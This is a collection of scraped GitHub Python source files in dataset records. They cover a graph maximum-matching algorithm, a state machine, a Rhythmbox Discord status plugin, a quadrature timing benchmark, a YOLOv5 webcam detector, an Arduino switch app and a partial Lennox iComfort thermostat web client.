path[-1]\n\n connected_edges = self.find_connected_edges_to_vertex(node, self.vertices)\n for edge in connected_edges:\n v1, v2 = edge\n new_path = deepcopy(path)\n if v1 is node:\n if v2 not in visited:\n new_path.append(v2)\n queue.append(new_path)\n if v2 is finish:\n return new_path\n else:\n if v1 not in visited:\n new_path.append(v1)\n queue.append(new_path)\n if v1 is finish:\n return new_path\n visited.append(node)\n\n def dfs(self, depth, vertices, v, is_matching, fake_matching=None, finish=None):\n if finish is not None:\n if depth is 0 and v is finish:\n return [v]\n else:\n if depth is 0:\n return [v]\n\n if not len(vertices):\n return\n connected_edges = self.find_connected_edges_to_vertex(v, vertices)\n if is_matching:\n if fake_matching:\n connected_edges = [edge for edge in connected_edges if edge in fake_matching]\n\n else:\n connected_edges = [edge for edge in connected_edges if edge in self.matching]\n vertices.remove(v)\n if len(connected_edges) is 1:\n v1, v2 = connected_edges[0]\n if v1 == v:\n path = self.dfs(depth - 1, deepcopy(vertices), v2, not is_matching, fake_matching, finish)\n else:\n path = self.dfs(depth - 1, deepcopy(vertices), v1, not is_matching, fake_matching, finish)\n if path:\n path.append(v)\n return path\n else:\n if fake_matching:\n connected_edges = [edge for edge in connected_edges if edge not in fake_matching]\n else:\n connected_edges = [edge for edge in connected_edges if edge not in self.matching]\n vertices.remove(v)\n for edge in connected_edges:\n v1, v2 = edge\n if v1 == v:\n path = self.dfs(depth - 1, deepcopy(vertices), v2, not is_matching, fake_matching, finish)\n else:\n path = self.dfs(depth - 1, deepcopy(vertices), v1, not is_matching, fake_matching, finish)\n if path:\n path.append(v)\n return path\n\n def find_connected_edges_to_vertex(self, vertex, vertices):\n result = []\n for edge in self.edges:\n v1, v2 = edge\n if v1 is vertex:\n if v2 in vertices:\n result.append(edge)\n elif v2 is vertex:\n if v1 in vertices:\n result.append(edge)\n\n return result\n\n\ndef make_circuit_video(movie_filename, fps):\n # sorting filenames in order\n filenames = glob.glob('img*.png')\n filenames_sort_indices = np.argsort([int(os.path.basename(filename).split('.')[0][3:]) for filename in filenames])\n filenames = [filenames[i] for i in filenames_sort_indices]\n\n # make movie\n with imageio.get_writer(movie_filename, mode='I', fps=fps) as writer:\n for filename in filenames:\n image = imageio.imread(filename)\n cv2.imshow('hel', image)\n key = cv2.waitKey(1000) # ~ 30 frames per second\n\n os.remove(filename)\n writer.append_data(image)\n\n\n\n# sample 1\nvertices = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\nedges = [{1, 6}, {1, 7}, {1, 9}, {1, 10}, {2, 6}, {2, 7}, {2, 9}, {2, 10}, {3, 8}, {3, 10}, {4, 6}, {4, 10}, {5, 10}]\n\n## sample 2\n# vertices = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n# edges = [{1, 6}, {1, 7}, {2, 7}, {2, 9}, {3, 8}, {3, 6}, {4, 7}, {4, 10}, {5, 10}, {5, 8}]\n\n## sample 3\n# vertices = [1, 2, 3, 4, 5, 6, 7, 8]\n# edges = [{1, 4}, {1, 5}, {1, 6}, {2, 5}, {2, 7}, {2, 8}, {3, 5}, {3, 8}]\n\nf = FindMaximumMatching(edges, vertices)\nf.find_maximum_matching()\nprint(f.matching)\nmake_circuit_video('animation.gif', fps=1)\n","repo_name":"NiloofarShahbaz/graph-maximum-matching","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12610,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"28467032888","text":"class _State:\n\n @staticmethod\n def CarefulExecute(func, *args):\n if func is not None:\n return func(*args)\n return None\n\n def update(self):\n return _State.CarefulExecute(self.updateCallback)\n\n def begin(self, *args):\n return _State.CarefulExecute(self.beginCallback, *args)\n\n def end(self):\n return _State.CarefulExecute(self.endCallback)\n\n def __init__(self, ID, name, updateCallback, beginCallback, endCallback):\n self.id = ID\n self.name = name\n self.updateCallback = updateCallback\n self.beginCallback = beginCallback\n self.endCallback = endCallback\n \n\nclass StateMachine:\n\n def StateExists(self, stateName):\n return stateName in self.states\n\n def RemoveState(self, stateName):\n if self.StateExists(stateName):\n _id = self.states.pop(stateName, None).id\n self.statesById.pop(_id, None)\n return True\n return False\n\n def AddState(self, stateName, stateUpdateCallback=None, stateBeginCallback=None, stateEndCallback=None):\n if stateName is None:\n return False\n stateId = self._GetNewId()\n self.states[stateName] = self.statesById[stateId] = _State(stateId, stateName, stateUpdateCallback, stateBeginCallback, stateEndCallback)\n self.stateCount += 1\n return True\n\n def SetState(self, nextStateName, *args):\n if self.StateExists(nextStateName):\n self.nextStateName = nextStateName\n self.nextStateBeginArgs = args\n #print(\"next state: {} begin({})\".format(self.nextStateName, self.nextStateBeginArgs))\n return True\n return False\n\n def Update(self):\n if self.nextStateName is not None and self.nextStateName != self.currStateName:\n self.lastStateName = self.currStateName\n self.currStateName = self.nextStateName\n self.nextStateName = None\n if self.lastStateName is not None:\n self.states[self.lastStateName].end()\n if self.currStateName is not None:\n #print(\"next state begin args:\")\n #print(*self.nextStateBeginArgs)\n self.states[self.currStateName].begin(*self.nextStateBeginArgs)\n \n if self.currStateName is not None:\n self.states[self.currStateName].update()\n\n def _GetNewId(self):\n _id = self.idCounter\n self.idCounter += 1\n return _id\n\n def StateNameToStateId(self, stateName):\n return self.states[stateName].id if self.StateExists(stateName) else None\n\n def StateIdToStateName(self, stateId):\n return self.statesById[stateId].name if stateId in self.statesById else None\n\n def __init__(self):\n self.idCounter = 0\n self.stateCount = 0\n self.statesById = {}\n self.states = {}\n self.lastStateName = None\n self.currStateName = None\n self.nextStateName = None\n\n @property\n def state(self):\n return self.currStateName\n\n# -------------------- STATE MACHINE TESTING -------------------- \n\nclass _StateMachineTestObject:\n\n def __init__(self):\n self.x = 0\n self.y = 0\n self.age = 0\n self.sm = StateMachine()\n self.sm.AddState(\"active\", self.ActiveUpdate, self.ActiveBegin, self.ActiveEnd)\n self.sm.AddState(\"idle\", self.IdleUpdate, self.IdleBegin, self.IdleEnd)\n self.sm.SetState(\"idle\")\n\n print(\", \".join(k for k in self.sm.states))\n input(\", \".join(str(k) for k in self.sm.statesById))\n\n self.sm.AddState(\"nothing\")\n\n print(\", \".join(k for k in self.sm.states))\n input(\", \".join(str(k) for k in self.sm.statesById))\n \n self.sm.RemoveState(\"nothing\")\n\n print(\", \".join(k for k in self.sm.states))\n input(\", \".join(str(k) for k in self.sm.statesById))\n \n self.sm.AddState(\"new\")\n\n print(\", \".join(k for k in self.sm.states))\n input(\", \".join(str(k) for k in self.sm.statesById))\n \n self.sm.RemoveState(\"active\")\n self.sm.RemoveState(\"nothing\")\n\n print(\", \".join(k for k in self.sm.states))\n input(\", \".join(str(k) for k in self.sm.statesById))\n \n\n def Update(self):\n print(\"Updating State Machine... age: {}\".format(self.age))\n self.sm.Update()\n\n def ActiveBegin(self, phrase=\"\"):\n print(\"Begin - Active + Phrase: {}\".format(phrase))\n\n def ActiveEnd(self):\n print(\"End - Active\")\n\n def ActiveUpdate(self):\n print(\"Update - Active\")\n self.x += 1\n self.y -= 1\n self.age += 1\n if self.age % 5 == 0:\n print(\"State Change Successful: {}\".format(self.sm.SetState(\"idle\")))\n\n if self.age % 20 == 0:\n print(\"Not changing state\")\n self.sm.SetState(\"active\")\n\n def IdleBegin(self):\n print(\"Begin - Idle\")\n \n def IdleEnd(self):\n print(\"End - Idle\")\n \n def IdleUpdate(self):\n print(\"Update - Idle\")\n self.age += 1\n if self.age % 5 == 0:\n print(\"State Change Successful: {}\".format(self.sm.SetState(\"active\")))\n\n if self.age % 20 == 0:\n print(\"Not changing state\")\n self.sm.SetState(\"idle\")\n\ndef _StartTest():\n smto = _StateMachineTestObject()\n while True:\n smto.Update()\n\nif __name__ == \"__main__\":\n _StartTest()\n","repo_name":"ConnorUllmann/Evolution","sub_path":"boardgame/basics/state_machine.py","file_name":"state_machine.py","file_ext":"py","file_size_in_byte":5443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"5397517657","text":"import gi\nimport time\nimport os\nimport json\ngi.require_version('Notify', '0.7')\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Notify, Gtk\nfrom gi.repository import Gio, GLib, GObject, Peas\nfrom gi.repository import RB\nfrom pypresence import Presence\nfrom status_prefs import discord_status_prefs \n\nclass discord_status_dev(GObject.Object, Peas.Activatable):\n path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"settings.json\")\n\n with open(path) as file:\n settings = json.load(file)\n\n show_notifs = settings[\"show_notifs\"]\n time_style = settings[\"time_style\"]\n\n try:\n Notify.init(\"Rhythmbox\")\n except:\n print(\"Failed to init Notify. Is the notificaion service running?\")\n\n is_streaming = False\n RPC = Presence(\"589905203533185064\")\n connected = False\n gave_up = False\n \n try:\n RPC.connect()\n try:\n if show_notifs:\n Notify.Notification.new(\"Rhythmbox Discord Status Plugin\", \"Connected to Discord\").show()\n Notify.uninit()\n except:\n print(\"Failed to init Notify. Is the notificaion service running?\")\n connected = True\n except ConnectionRefusedError:\n try:\n if show_notifs:\n Notify.Notification.new(\"Rhythmbox Discord Status Plugin\", \"Failed to connect to discord: ConnectionRefused. Is discord open?\").show()\n Notify.uninit()\n except:\n print(\"Failed to init Notify. Is the notificaion service running?\")\n\n if show_notifs:\n while not connected and not gave_up:\n dialog = Gtk.Dialog(title = \"Discord Rhythmbox Status Plugin\",\n parent = None,\n buttons = (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL,\n Gtk.STOCK_OK, Gtk.ResponseType.OK)\n )\n\n hbox = Gtk.HBox()\n\n label = Gtk.Label(\"\\nFailed to connect to the discord client. Make sure that discord is open. Retry?\\n\")\n hbox.pack_start(label, True, True, 0)\n\n dialog.vbox.pack_start(hbox, True, True, 0)\n dialog.vbox.show_all()\n\n response = dialog.run()\n\n if (response == Gtk.ResponseType.OK):\n try:\n RPC.connect()\n connected = True\n except ConnectionRefusedError:\n print('Failed to retry connection to discord')\n\n elif (response == Gtk.ResponseType.CANCEL):\n gave_up = True\n dialog.destroy()\n\n else:\n pass\n\n dialog.destroy()\n __gtype_name__ = 'DiscordStatusPlugin'\n object = GObject.property(type=GObject.Object)\n start_date = None\n playing_date = None\n is_playing = False\n def __init__ (self):\n GObject.Object.__init__ (self)\n\n def do_activate(self):\n shell = self.object\n sp = shell.props.shell_player\n self.psc_id = sp.connect ('playing-song-changed',\n self.playing_entry_changed)\n self.pc_id = sp.connect ('playing-changed',\n self.playing_changed)\n self.ec_id = sp.connect ('elapsed-changed',\n self.elapsed_changed)\n self.pspc_id = sp.connect ('playing-song-property-changed',\n self.playing_song_property_changed)\n\n self.RPC.update(state=\"Playback Stopped\", details=\"Rhythmbox Status Plugin\", large_image=\"rhythmbox\", small_image=\"stop\", small_text=\"Stopped\")\n\n def do_deactivate(self):\n shell = self.object\n sp = shell.props.shell_player\n sp.disconnect (self.psc_id)\n sp.disconnect (self.pc_id)\n sp.disconnect (self.ec_id)\n sp.disconnect (self.pspc_id)\n self.RPC.clear(pid=os.getpid())\n self.RPC.close()\n\n def get_info(self, sp):\n album = None\n title = None\n artist = None\n duration = None\n\n if not sp.get_playing_entry().get_string(RB.RhythmDBPropType.ALBUM):\n album = 'Unknown'\n else:\n album = sp.get_playing_entry().get_string(RB.RhythmDBPropType.ALBUM)\n\n if not sp.get_playing_entry().get_string(RB.RhythmDBPropType.TITLE):\n title = 'Unknown'\n else:\n title = sp.get_playing_entry().get_string(RB.RhythmDBPropType.TITLE)\n\n if not sp.get_playing_entry().get_string(RB.RhythmDBPropType.ARTIST):\n artist = 'Unknown'\n else:\n artist = sp.get_playing_entry().get_string(RB.RhythmDBPropType.ARTIST)\n\n if not sp.get_playing_entry().get_ulong(RB.RhythmDBPropType.DURATION):\n duration = 0\n else:\n duration = sp.get_playing_entry().get_ulong(RB.RhythmDBPropType.DURATION)\n\n if len(album) < 2:\n album = \"%s​\" %(album)\n \n return [album, title, artist, duration]\n\n def playing_song_property_changed(self, sp, uri, property, old, newvalue):\n print(\"playing_song_property_changed: %s %s %s %s\" %(uri, property, old, newvalue))\n \n info = self.get_info(sp)\n if property == \"rb:stream-song-title\":\n self.is_streaming = True\n self.update_streaming_rpc(info, newvalue)\n\n def update_streaming_rpc(self, info, d):\n self.RPC.update(state=info[1][0:127], details=d[0:127], large_image=\"rhythmbox\", small_image=\"play\", small_text=\"Streaming\", start=int(time.time()))\n\n def playing_entry_changed(self, sp, entry):\n if sp.get_playing_entry():\n self.start_date = int(time.time())\n self.playing_date = self.start_date\n info = self.get_info(sp)\n album = info[0]\n title = info[1]\n artist = info[2]\n duration = info[3]\n\n if duration == 0 and not self.is_streaming:\n self.update_streaming_rpc(info, \"Unknown - Unknown\")\n elif duration == 0 and self.is_streaming:\n self.update_streaming_rpc(info, \"Unknown - Unknown\")\n return\n else:\n self.is_streaming = False\n\n details=\"%s - %s\" %(title, artist)\n self.is_playing = True\n\n start_time = int(time.time())\n pos = sp.get_playing_time().time\n end_time = (start_time + duration - pos) if self.time_style == 1 else None\n self.RPC.update(state=album[0:127], details=details[0:127], large_image=\"rhythmbox\", small_image=\"play\", small_text=\"Playing\", start=start_time, end=end_time)\n\n def playing_changed(self, sp, playing):\n album = None\n title = None\n artist = None\n if sp.get_playing_entry():\n info = self.get_info(sp)\n album = info[0]\n title = info[1]\n artist = info[2]\n duration = info[3]\n\n if duration == 0 and not self.is_streaming:\n self.update_streaming_rpc(info, \"Unknown - Unknown\")\n elif duration == 0:\n return\n else:\n self.is_streaming = False\n\n details=\"%s - %s\" %(title, artist)\n\n start_time = int(time.time())\n pos = sp.get_playing_time().time\n end_time = (start_time + duration - pos) if self.time_style == 1 else None\n\n if playing:\n self.is_playing = True\n self.RPC.update(state=album[0:127], details=details[0:127], large_image=\"rhythmbox\", small_image=\"play\", small_text=\"Playing\", start=start_time, end=end_time)\n elif not playing and not sp.get_playing_entry():\n self.is_playing = False\n self.RPC.update(state=\"Playback Stopped\", details=\"Rhythmbox Status Plugin\", large_image=\"rhythmbox\", small_image=\"stop\", small_text=\"Stopped\")\n else:\n self.is_playing = False\n self.RPC.update(state=album[0:127], details=details[0:127], large_image=\"rhythmbox\", small_image=\"pause\", small_text=\"Paused\")\n\n def elapsed_changed(self, sp, elapsed):\n if not self.playing_date or not self.is_playing or self.time_style == 0:\n return\n else:\n self.playing_date += 1\n if self.playing_date - elapsed == self.start_date:\n return\n else:\n if sp.get_playing_entry() and self.is_playing and not elapsed == 0:\n self.playing_date = self.start_date + elapsed\n info = self.get_info(sp)\n album = info[0]\n title = info[1]\n artist = info[2]\n duration = info[3]\n\n if duration == 0 and not self.is_streaming:\n self.update_streaming_rpc(info, \"Unknown - Unknown\")\n elif duration == 0:\n return\n else:\n self.is_streaming = False\n\n details=\"%s - %s\" %(title, artist)\n\n start_time = int(time.time())\n pos = sp.get_playing_time().time\n end_time = (start_time + duration - pos) if self.time_style == 1 else None\n\n self.RPC.update(state=album[0:127], details=details[0:127], large_image=\"rhythmbox\", small_image=\"play\", small_text=\"Playing\", start=start_time, end=end_time)\n","repo_name":"byemc/discord-rhythmbox-plugin","sub_path":"discord-status.py","file_name":"discord-status.py","file_ext":"py","file_size_in_byte":8472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"2"} +{"seq_id":"10757426140","text":"# -*- coding: utf-8 -*-\n#Created on Oct 4, 2016\n#@author: Inom Mirzaev\n\n\nfrom __future__ import division\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom spectral_collocation import * \n\nimport seaborn as sns\n\nimport time\nfrom timeit import default_timer as timer\n\nfig_params = {\n \"font.family\": \"serif\",\n \"font.serif\": [\"Times\", \"Palatino\", \"serif\"],\n 'axes.facecolor':'white' , \n 'figure.facecolor':'white' }\n \nsns.set( context = 'paper' , style='white', palette='deep' , font='serif' , \n font_scale=2, rc=fig_params)\n\n\nC_g = 1\n\nG = 1\nC_a = 1.3 * G \nC_f = G \nC_mu =np.exp(-G) \n\n\n\ndef perform_timer(myfunc, args, n_runs=10):\n \n r_times = np.zeros(n_runs)\n \n for nn in xrange(n_runs):\n start = timer()\n \n myfunc( **args )\n end = timer()\n \n r_times[nn] = end - start \n return np.min(r_times)\n \n \n#==============================================================================\n# Performance comparison of integral approximations\n#==============================================================================\n\nimport simpsons_rule, gauss_rule, trapezoidal_rule, old_method\n\nargs = {'N':10, 'C_g':C_g, 'C_mu':C_mu, 'C_a':C_a , 'C_f':C_f}\n\ndims = np.arange(10, 110, 10)\n\nsimps_time = []\ngauss_time = []\ntrapz_time = []\n\nfor N in dims:\n args['N']=N\n simps_time.append( perform_timer( simpsons_rule.nonlinear_root , args) )\n gauss_time.append( perform_timer( gauss_rule.nonlinear_root , args) )\n trapz_time.append( perform_timer( trapezoidal_rule.nonlinear_root , args) )\n\n \n \nplt.figure()\nplt.grid(True)\n\nplt.plot(dims, trapz_time , linewidth=1, marker='v' , markersize=10 , label='Trapezoidal')\nplt.plot(dims, simps_time , linewidth=1, marker='*' , markersize=10 , label='Simpson\\'s')\nplt.plot(dims, gauss_time , linewidth=1, marker='o' , markersize=10 , label='Gaussian')\nplt.legend()\n\n\n\nplt.xlabel('Approximation dimension ($N$)' )\nplt.ylabel( 'Best of 10 runs ($s$)' )\nplt.savefig( '../images/performance_times.png' , bbox_inches='tight' , dpi=400, facecolor='white')\n\n","repo_name":"mirzaevinom/SpectralCollocationMethods","sub_path":"codes/time_methods.py","file_name":"time_methods.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"14531964104","text":"# YOLOv5 🚀 by Ultralytics, GPL-3.0 license\r\n\r\n\r\n\r\n\r\nimport argparse\r\nimport os\r\nimport platform\r\nimport sys\r\nfrom pathlib import Path\r\n\r\nimport torch\r\nfrom ultralytics.yolo.utils.ops import scale_coords\r\n\r\nFILE = Path(__file__).resolve()#获取当前目录(detect.py)的(使用relsove)绝对路径,并将其赋值给变量FILE F:\\yolov5-7.0\\mydetect.py\r\nROOT = FILE.parents[0] # YOLOv5 root directory 获取上一级目录 F:\\yolov5-7.0\r\nif str(ROOT) not in sys.path:\r\n sys.path.append(str(ROOT)) # add ROOT to PATH\r\nROOT = Path(os.path.relpath(ROOT, Path.cwd())) # relative,绝对路径转换为相对路径 F:\\yolov5-7.0\\mydetect.py\r\nfrom models.common import DetectMultiBackend\r\nfrom utils.dataloaders import IMG_FORMATS, VID_FORMATS, LoadImages, LoadScreenshots, LoadStreams\r\nfrom utils.general import (LOGGER, Profile, check_file, check_img_size, check_imshow, check_requirements, colorstr, cv2,\r\n increment_path, non_max_suppression, print_args, scale_boxes, strip_optimizer, xyxy2xywh)\r\nfrom utils.plots import Annotator, colors, save_one_box\r\nfrom utils.torch_utils import select_device, smart_inference_mode\r\n\r\n\r\nsource='1'\r\nweights='yolov5s.pt'\r\ndevice='cpu'\r\ndevice = select_device(device=device)#GPU\r\n\r\nmodel = DetectMultiBackend(weights, device=device, dnn=False, data='data/coco128.yaml', fp16=False)\r\nstride, names, pt = model.stride, model.names, model.pt# 获取模型的步幅、类别名称和权重文件路径\r\n\r\n#设置阈值和IOU阈值\r\nconf_thres = 0.8\r\niou_thres = 1.0\r\n\r\nclasses = ['person', 'car', 'truck', 'bus']\r\n\r\n# 打开摄像头\r\ncap = cv2.VideoCapture(0)\r\nmodel.warmup(imgsz=(1 , 3, 640 ,480))\r\nwhile True:\r\n # 读取帧\r\n ret, frame = cap.read()\r\n frame = cv2.resize(frame,(640,480))\r\n cv2.imshow('frame', frame)\r\n # 将帧转换为模型输入格式\r\n img = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\r\n img = torch.from_numpy(img).to(device).float() / 255.0\r\n img = img.permute(2, 0, 1).unsqueeze(0)\r\n if len(img.shape) == 3:\r\n img = img[None] # expand for batch dim如果张量的维度为 3,则在第 0 维上添加一个维度,以便将其扩展为批次大小为 1 的张量。\r\n print(img.shape)\r\n pre = model.model(img, augment=False) # 调用 YOLOv5 模型的 model 方法,对输入的图像或视频进行推理,并得到目标检测结果。\r\n pred = non_max_suppression(pre, conf_thres, iou_thres, None, False , max_det=10)\r\n\r\n for det in pred[0]:\r\n xyxy=(det[0],det[1],det[2],det[3])\r\n cls=det[5]\r\n conf=det[4]\r\n label = f'{classes[int(cls)]} {conf:.2f}'\r\n cv2.rectangle(frame, (int(xyxy[0]), int(xyxy[1])), (int(xyxy[2]), int(xyxy[3])), (0, 255, 0), 2)\r\n cv2.putText(frame, label, (int(xyxy[0]), int(xyxy[1]) - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)\r\n # 显示结果\r\n\r\n cv2.imshow('frame2', frame)\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n# 释放资源\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n\r\n\r\n\r\n\r\n","repo_name":"Muqiu4/Smartsortingbins","sub_path":"mydetect.py","file_name":"mydetect.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"72273054445","text":"import streamlit as st \nimport pyfirmata\nimport time\nfrom pyfirmata import util,OUTPUT\nport='COM3'\nboard=pyfirmata.Arduino(port)\nboard.digital[7].mode=OUTPUT\ntime.sleep(2.0)\ndef main():\n st.title('MY SWITCH APP')\n length=st.sidebar.slider('brightness',0,100)\n if st.button('click'):\n board.digital[7].write(1)\n \n \nif __name__=='__main__':\n main()","repo_name":"IGATUS/opencv_app","sub_path":"switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"23201253157","text":"import logging\nimport time\nimport json\nimport random\nfrom session import IComfort3Session as IC3Session\n\ntry:\n from urllib.parse import urlencode, urlunsplit\nexcept ImportError:\n from urlparse import urlunsplit, urlparse\n from urllib import urlencode\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.WARN)\n\n\"\"\"\n Most of the information below is from the User Manual at:\n https://static.lennox.com/pdfs/owners/s30/Lennox_iComfortS30_Homeowner_Manual.pdf\n The heirachy of constructs in the Lennox Page looks like this:\n There may be one or more Homes,\n Which may contain one or more Lennox Climate Control Systems,\n Which may contain one or more Zones.\n\n Zones\n Each Zone contains a Mode, which is one of:\n (Off, Cool Only, Heat Only, Heat/Cool)\n Each of these Modes contain required Temperatures, as:\n (Off = None,\n Cool = Max Indoor Temp; >= Cooling Starts,\n Heat = Min Indoor Temp <= Heating Starts,\n Heat/Cool = Max and Min as above. As a note, these cannot be closer\n than 3 degrees from each other.\n Addtionally, each zone contains a Fan setting:\n On = Fan is turned on regardless of Climate Control,\n Auto = Fan is controlled by Climate Control,\n Circulate = As Auto, and also runs at a low rate between CC cycles. The\n amount of time circulate runs per hour can be configured from the\n Settings->Fan->Circulate option (9 to 27 minutes).\n Allergen Defender = Circulates air inside when the air quality is bad\n outside to filter it. This is basically Circulate mode that only runs\n if the Air Quality outside is poor. For this to be an available\n option, Allergen Defender must be enabled in the Settings->Fan menu\n under Allergen Defender.\n \n Schedules\n The Mode and Fan settings can be automatically adjusted\n based on one or more Schedules. These schedules change based on the\n season: Summer, Winter, and Spring/Fall. \n Each schedule is subdivided into Periods. Each Period has a start\n time, as well as Mode and Fan settings. Schedules can be configured\n to have the same Periods for all days of the week, different Periods\n for weekdays and weekends, or a different set of Periods every day. For\n each configured day, there may be at most 4 periods.\n \n Schedule IQ has the same periods every day, and is based wake-up\n time, sleep time, and away Mode scheduling rather than season or day\n of the week.\n\n Current Set Points (Mode)\n Instantaneous changes can be made to Mode, Temperatures, and Fan. These\n will be automatically changed when the next schedule changes them, or\n a \"Schedule Hold\" can be set for a fixed amount of time to prevent the\n schedule from changing them. The changes and the hold can be cancelled\n by disabling the Schedule Hold.\n\n Away Mode\n This mode may be set per household, and configures the Thermostat to\n put all LCCs and Zones into a cost-saving Heat/Cool setting. The\n temperature for these may be controlled from the Settings->Away menu\n under away-set-points. You may also toggle Smart Away on, which uses\n the installed iComfort App on your phone to control automatic enabling\n of the Away feature using Geofencing for all participating devices.\n\n For all requests, look for a 302 redirect, with the location:\n /Account/Login?_isSessionExpired=True\n This means we need to log in again, so set login = false, and clear the data.\n TODO: We should also parse and check if a login fails, and we are locked out.\n This should yield a different error so the user understands no amount of\n uname/password changes will fix this issue (for 15 minutes).\n\"\"\"\nclass IComfort3Zone(object):\n MYHOMES_PATH = 'Dashboard/MyHomes'\n HD_REFERER_PATH = 'Dashboard/HomeDetails'\n DETAILS_PATH = 'Dashboard/RefreshLatestZoneDetailByIndex'\n SET_AWAY_PATH = 'Dashboard/SetAwayMode'\n CANCEL_AWAY_PATH = 'Dashboard/CancelAwayMode'\n CHANGE_SET_POINT = 'Dashboard/ChangeSetPoint'\n MODE_SCHED_PATH = 'ModesSchedules/ModesSchedulesMenu'\n CHANGE_ZONE_SCHED = 'ModesSchedules/ChangeZoneScheduleId'\n SYSMODE_MANUAL = 'modesSchedules/ChangeSystemModeManual'\n\n def __init__(self, home_id, lcc_id, zone_id):\n # static, pre-configured entries\n self.zone_id = str(zone_id)\n self.home_id = str(home_id)\n self.lcc_id = str(lcc_id)\n details_referer_query = ( ('zoneId', self.zone_id),\n ('homeId', self.home_id),\n ('lccId', self.lcc_id),\n ('refreshZonedetail', 'False') )\n self.hd_url = IC3Session.create_url(IComfort3Zone.HD_REFERER_PATH,\n details_referer_query) \n mode_sched_query = ( ('zoneId', self.zone_id), ('lccId', self.lcc_id) )\n self.ms_url = IC3Session.create_url(IComfort3Zone.MODE_SCHED_PATH,\n mode_sched_query)\n\n\n def __send_update_request(self, session):\n current_millis = (int(time.time()) * 1000) + random.randint(0, 999)\n details_query = ( ('zoneid', self.zone_id), ('isPolling', 'true'),\n ('lccid', self.lcc_id), ('_', str(current_millis)) )\n up_url = IC3Session.create_url(IComfort3Zone.DETAILS_PATH,\n details_query)\n resp = session.request_json(up_url, self.hd_url)\n resp_json = session.process_as_json(resp)\n return resp_json\n\n\n # The requestor validated that the session has not Failed\n def __parse_update(self, update):\n if not update['Code'] == 'LCC_ONLINE':\n print(\"LCC is offline.\")\n # Remove Unused temperature Range\n # Check if zoneDetail exists\n flat = dict()\n if update['data']['zoneDetail']:\n # Copy all other zone details\n for (k,v) in update['data']['zoneDetail'].items():\n flat[k] = v\n # Ambient temp comes across as a string, and can be non-numeric\n flat['AmbientTemperature'] = flat['AmbientTemperature']['Value']\n flat['CoolSetPoint'] = flat['CoolSetPoint']['Value']\n flat['HeatSetPoint'] = flat['HeatSetPoint']['Value']\n flat['SingleSetPoint'] = flat['SingleSetPoint']['Value']\n # This is only for visuals\n del flat['TemperatureRange']\n del update['data']['zoneDetail']\n del update['data']['zonepaging']\n # Copy the rest of data\n for (k,v) in update['data'].items():\n flat[k] = v\n flat['Code'] = update['Code']\n return flat\n\n\n \n def fetch_update(self, session):\n \"\"\" Fetches an update from the web API.\n\n Uses the session to fetch the latest status info from the web API for a\n thermostat, and returns the resulting dictionary. If there is a\n problem an exception will be thrown.\n\n Args:\n session: A logged-in session with permission to access this zone.\n\n Returns:\n A dict with the current status information for this zone.\n\n Raises:\n Possible Errors\n Username/Password could be wrong\n the session could not be logged in\n The session is now expired\n The system is not currently accessible\n \"\"\"\n update_json = self.__send_update_request(session)\n if not update_json:\n return False\n return self.__parse_update(update_json)\n\n\n def set_away_mode(self, session):\n \"\"\" Post to set away mode for an LCC/Zone, and returns current state.\n \"\"\"\n set_away_url = IC3Session.create_url(IComfort3Zone.SET_AWAY_PATH)\n payload = [('lccId', self.lcc_id), ('currentzoneId', self. zone_id)]\n resp = session.post_url_json(set_away_url, payload, self.hd_url)\n resp_json = session.process_as_json(resp)\n if not resp_json:\n return False\n return self.__parse_update(resp_json)\n\n\n def cancel_away_mode(self, session):\n \"\"\" Post to cancel away mode for an LCC/Zone, and returns current state.\n \"\"\"\n cancel_away_url = IC3Session.create_url(IComfort3Zone.CANCEL_AWAY_PATH)\n payload = [('lccId', self.lcc_id), ('currentzoneId', self. zone_id),\n ('smartawayS', 'false')]\n resp = session.post_url_json(cancel_away_url, payload, self.hd_url)\n resp_json = session.process_as_json(resp)\n if not resp_json:\n return False\n return self.__parse_update(resp_json)\n\n def change_set_point(self, session, cool, heat):\n \"\"\" Set new heat/cool ScheduleHold values.\n\n By default, these changes will last until the next Period.\n\n Args:\n cool: The value above which the LCC should cool the zone. If in\n heating mode, this parameter must be set to minCSP.\n\n heat: The value below which the LCC should heat the zone. If in\n cooling only mode, this parameter must be set to maxHSP.\n\n FIXME: Does not support PerfectTemp today.\n \"\"\"\n hd_referer = IC3Session.create_url(IComfort3Zone.MYHOMES_PATH)\n session.request_url(self.hd_url, hd_referer)\n current_millis = (int(time.time()) * 1000) + random.randint(0, 999)\n query = [('zoneId', self.zone_id), ('lccId', self.lcc_id),\n ('coolSetPoint', str(cool)), ('heatSetPoint', str(heat)),\n ('isPerfectTempOn', 'false'), ('_', str(current_millis))]\n change_url = IC3Session.create_url(IComfort3Zone.CHANGE_SET_POINT,\n query)\n resp = session.request_json(change_url, referer_url=self.hd_url)\n resp_json = session.process_as_json(resp)\n return self.__parse_update(resp_json)\n\n\n def change_zone_schedule_id(self, session, schedule_id):\n \"\"\" Change the current zone Schedule by ID.\n \"\"\"\n payload = [('lccId', self.lcc_id), ('zoneId', self.zone_id),\n ('scheduleId', schedule_id)]\n change_zs_url = IC3Session.create_url(IComfort3Zone.CHANGE_ZONE_SCHED)\n resp = session.post_url_json(change_zs_url, 